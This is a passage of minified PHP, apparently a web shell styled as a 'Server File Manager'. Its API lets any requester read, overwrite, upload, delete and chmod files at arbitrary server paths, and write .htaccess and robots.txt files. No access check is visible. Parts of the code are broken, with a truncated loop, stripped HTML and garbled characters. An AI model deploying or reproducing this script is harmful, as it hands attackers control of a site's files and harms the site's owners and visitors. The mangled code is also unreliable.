$f,'is_dir'=>is_dir($full),'size'=>is_file($full)?filesize($full):0,'mtime'=>filemtime($full),'perm'=>substr(sprintf('%o',fileperms($full)),-4),'path'=>$full];}usort($items,function($a,$b){if($a['is_dir']&&!$b['is_dir'])return -1;if(!$a['is_dir']&&$b['is_dir'])return 1;return strcasecmp($a['name'],$b['name']);});return $items;} function human_size($n){if($n>1024*1024)return round($n/1024/1024,2).' MB';if($n>1024)return round($n/1024,2).' KB';return $n.' B';} function set_flash($m){$_SESSION['fm_flash']=$m;}function get_flash(){$m=$_SESSION['fm_flash']??'';unset($_SESSION['fm_flash']);return $m;} function getWebServerType() { $sapi = php_sapi_name(); if (in_array($sapi, ['cli', 'cli-server', 'phpdbg'])) return 'CLI'; if ($sapi === 'litespeed') return 'LiteSpeed'; if ($sapi === 'apache2handler') return 'Apache'; $software = strtolower($_SERVER['SERVER_SOFTWARE'] ?? ''); if (strpos($sapi, 'fcgi') !== false || strpos($sapi, 'fpm') !== false || strpos($sapi, 'cgi') !== false) { if (strpos($software, 'iis') !== false) return 'IIS'; return 'Nginx'; } if (strpos($software, 'nginx') !== false) return 'Nginx'; if (strpos($software, 'apache') !== false) return 'Apache'; if (strpos($software, 'litespeed') !== false) return 'LiteSpeed'; if (strpos($software, 'iis') !== false) return 'IIS'; if (strpos($software, 'caddy') !== false) return 'Caddy'; return 'Unknown'; } $action=$_REQUEST['action']??'list'; if(isset($_GET['api'])||isset($_POST['api'])){ if($action==='getfile'&&isset($_GET['fullpath'])){$full=safe_real($_GET['fullpath']);if($full&&is_file($full)){header('Content-Type: text/plain; charset=utf-8');echo file_get_contents($full);exit;}else{http_response_code(404);echo "Not found";exit;}} if($action==='savefile'&&isset($_POST['fullpath'])&&isset($_POST['content'])){$full=safe_real($_POST['fullpath']);if($full===false)json_out(['ok'=>false,'error'=>'invalid path']);if(is_writable($full)||is_writable(dirname($full))){$ok=file_put_contents($full,$_POST['content'])!==false;json_out(['ok'=>$ok]);}else json_out(['ok'=>false,'error'=>'no write permission']);} if($action==='upload'&&!empty($_FILES)){$results=[];$target=$_GET['target']??$_POST['target']??'';$targetReal=safe_real($target)?:$target;if($targetReal===''||!is_dir($targetReal))$targetReal=getcwd();foreach($_FILES as $field){if(is_array($field['name'])){for($i=0;$i$name,'ok'=>$ok,'path'=>$full];}}else{$name=basename($field['name']);$tmp=$field['tmp_name'];$full=rtrim($targetReal,'/').'/'.$name;$ok=false;if($tmp&&is_uploaded_file($tmp))$ok=move_uploaded_file($tmp,$full);$results[]=['name'=>$name,'ok'=>$ok,'path'=>$full];}}json_out(['ok'=>true,'results'=>$results]);} if($action==='delete'&&isset($_POST['fullpath'])){$full=safe_real($_POST['fullpath']);if($full===false)json_out(['ok'=>false,'error'=>'invalid']);if(!file_exists($full))json_out(['ok'=>false,'error'=>'not exists']);if(is_dir($full)){$it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($full,RecursiveDirectoryIterator::SKIP_DOTS),RecursiveIteratorIterator::CHILD_FIRST);foreach($it as $item){$item->isDir()?rmdir($item->getRealPath()):unlink($item->getRealPath());}$ok=rmdir($full);}else $ok=unlink($full);json_out(['ok'=>$ok]);} if($action==='chmod'&&isset($_POST['fullpath'])&&isset($_POST['mode'])){$full=safe_real($_POST['fullpath']);$mode=intval($_POST['mode'],8);$ok=@chmod($full,$mode);json_out(['ok'=>$ok]);} if($action==='mkdir'&&isset($_POST['dirpath'])&&isset($_POST['name'])){$base=safe_real($_POST['dirpath'])?:$_POST['dirpath'];$name=basename($_POST['name']);$full=rtrim($base,'/').'/'.$name;$ok=@mkdir($full,0755);json_out(['ok'=>$ok,'path'=>$full]);} if($action==='rename'&&isset($_POST['fullpath'])&&isset($_POST['newname'])){$full=safe_real($_POST['fullpath']);$new=basename($_POST['newname']);$to=dirname($full).'/'.$new;$ok=@rename($full,$to);json_out(['ok'=>$ok,'to'=>$to]);} if($action==='gen_htaccess'&&isset($_POST['dirpath'])){$dir=safe_real($_POST['dirpath'])?:getcwd();$full=rtrim($dir,'/').'/.htaccess';$content="RewriteEngine On\nRewriteBase /\n\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteRule ^(.*)$ index.php [L]";$ok=@file_put_contents($full,$content)!==false;json_out(['ok'=>$ok]);} if($action==='gen_robots'&&isset($_POST['dirpath'])){$dir=safe_real($_POST['dirpath'])?:getcwd();$full=rtrim($dir,'/').'/robots.txt';$protocol=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off'||$_SERVER['SERVER_PORT']==443)?"https://":"http://";$domain=$protocol.($_SERVER['HTTP_HOST']??'localhost');$content="User-agent: *\nAllow: /\nSitemap: {$domain}/sitemap.xml";$ok=@file_put_contents($full,$content)!==false;json_out(['ok'=>$ok]);}json_out(['ok'=>false,'error'=>'unknown api']);} $rel=$_GET['path']??'';$target=safe_real($rel)?:($rel===''?getcwd():(safe_real(getcwd().'/'.$rel)?:getcwd()));if($target===false)$target=getcwd();$files=list_dir_sorted($target);$flash=get_flash(); ?>Server File Manager
⬆️ParentπŸ›‘οΈπŸ Root Folder
Current Path
User:
NameTypeSizeModifiedPermsActions
πŸ“ πŸ“„ πŸ“‚β¬‡